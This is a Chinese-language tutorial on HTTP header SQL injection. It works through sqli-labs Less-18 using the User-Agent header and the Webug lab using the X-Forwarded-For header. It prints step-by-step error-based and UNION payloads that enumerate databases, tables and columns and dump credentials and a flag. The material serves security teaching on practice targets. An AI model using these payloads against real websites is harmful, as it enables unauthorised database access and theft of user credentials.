zl程序教程

您现在的位置是:首页 >  云平台

当前栏目

网络安全——HTTP头部注入

2023-09-11 14:17:08 时间

一、HTTP头部注入概述

1、HTTP工作原理

 2、HTTP报文类型

 (1)、请求报文

 

 

 (2)、响应报文

 

 

3、HTTP头部内容

 

 referer主要用来统计页面访问次数

二、HTTP头部注入

1、原理:后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(例如:User-Agent、Accept字段等),会对客户端HTTP Header 进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞

使用HTTP头部注入漏洞的前提条件:

能够对请求头消息进行修改

修改的请求头信息能够带入数据库执行

数据库没有对输入的请求头做过滤

2、常见的HTTP 头部注入类型

(1)、Cookie注入

(2)、User-Agent注入

(3)、Referer注入

(4)、XFF注入 


三、HTTP头部注入实例

User-Agent 注入

1、使用sqli-labs靶机的第18关,然后和Burpsuite进行联用

2、Burpsuite进行抓包,并发送到Repeater模块

3.寻找注入点

在原始HTTP请求包的头部字段User-Agent末尾添加单引号,即使用如下payload:

User-Agent:Mozilla/5.0......Firefox/46.0'

发现服务器端报错!

在原始HTTP请求包的头部字段User-Agent末尾添加如下符号,使用如下payload:

User-Agent:Mozilla/5.0......Firefox/46.0','','')#

服务器端未报错!

由此可以判断,目标网站在POST参数处存在字符型注入点。

注:如果在服务器端(靶机)上查看Less-18的php代码,会发现其中存在这样一段代码:

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

这也是一种基于Insert的注入场景。

4.获取网站当前所在数据库的库名

使用以下payload获取网站当前所在数据库的库名:

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',database())),'','')#

显示结果为security。

5.获取数据库security的全部表名

使用以下payload获取数据库security的全部表名:

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))),'','')#

显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

注意:extractvalue()函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要借助limit来做分行显示,上述payload可以改为:

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1))),'','')#
//显示security库中的第1张表的名字

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1))),'','')#
//显示security库中的第2张表的名字

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1))),'','')#
//显示security库中的第3张表的名字

...

6.获取users表的全部字段名

使用以下payload获取users表的全部字段名:

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),'','')#

显示结果,users表中有id、username和password三个字段。

同上一个步骤相似,为了避免错误信息太长导致显示不全,有时需要借助limit来做分行显示,上述payload可以改为:

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'','')#
//显示users表中的第1个字段的名字

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))),'','')#
//显示users表中的第2个字段的名字

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))),'','')#
//显示users表中的第3个字段的名字

...

7.获取users表id、username和password字段的全部值

由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示,如

(1)显示第1组数据

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1))),'','')#

显示结果为Dump,Dump。

(2)显示第2组数据

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 1,1))),'','')#

显示结果为Angelina,I-kill-you。

 

 以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。


XFF注入

原理:有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等),会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。
常见的HTTP Header注入类型包括Cookie注入、Referer注入、User-Agent注入、XFF注入等。

1.访问Webug网站

访问靶机A-SQLi-Labs上的Webug网站。访问的URL为:

http://[靶机IP]/webug/

2.利用Burpsuite工具抓包

利用Burpsuite工具拦截HTTP请求包

在Webug网站主页选择第五关(“头部的一个注入”):

 选中拦截到的HTTP请求包全部内容,单击鼠标右键,在弹出的菜单中选择“Send to Repeater”,将其发送给Burpsuite的Repeater模块。

3.寻找注入点

(1)对拦截到的HTTP请求包不做任何修改,直接点击Send发送,此时Response->Pretty下显示的内容:

 Response->Render下显示的内容:

 

(2)在原始的HTTP请求包中添加头部字段X-Forwarded-For,并使用如下payload:

X-Forwarded-For:a'

此时,服务器端报错!

 

 由此可以判断,目标网站在头部字段XFF处存在注入点。

4.判断网站查询的字段数

使用如下payload判断网站查询的字段数:

X-Forwarded-For:order by 2

未报错!

 

X-Forwarded-For:order by 3

未报错!

 

X-Forwarded-For:order by 4

未报错!

 

X-Forwarded-For:order by 5

报错!

由上述结果可以判断,网站查询的字段数为4。

5.判断网站的回显位置

使用如下payload判断网站的回显位置:

X-Forwarded-For:union select 1,2,3,4

由上述结果可以判断,网站有三个回显位置:2号位、3号位和4号位。

6.获取网站当前所在的数据库的库名

使用如下payload获取网站当前所在的数据库的库名:

X-Forwarded-For:union select 1,database(),3,4

 

7.获取pentesterlab数据库中所有的表名

使用如下payload获取pentesterlab数据库中所有的表名:

X-Forwarded-For:union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='pentesterlab'

 

由上述结果可以得知,pentesterlab数据库中含有comment、flag、goods和user四张表。其中,flag表中可能存放着flag信息。

8.获取flag表中的字段名

使用如下payload获取flag表中的字段名:

X-Forwarded-For:union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='pentesterlab' and table_name='flag'

 

由上述结果可以得知,flag表中有两个字段id、flag。

9.获取flag表中的flag字段的内容

使用如下payload获取flag表中的flag字段的内容:

X-Forwarded-For:union select 1,flag,3,4 from pentesterlab.flag

由上述结果可以得知,该flag字段的内容为204f704fbbcf6acf398ffee11989b377。
实验至此结束。


这篇文章就写到这里了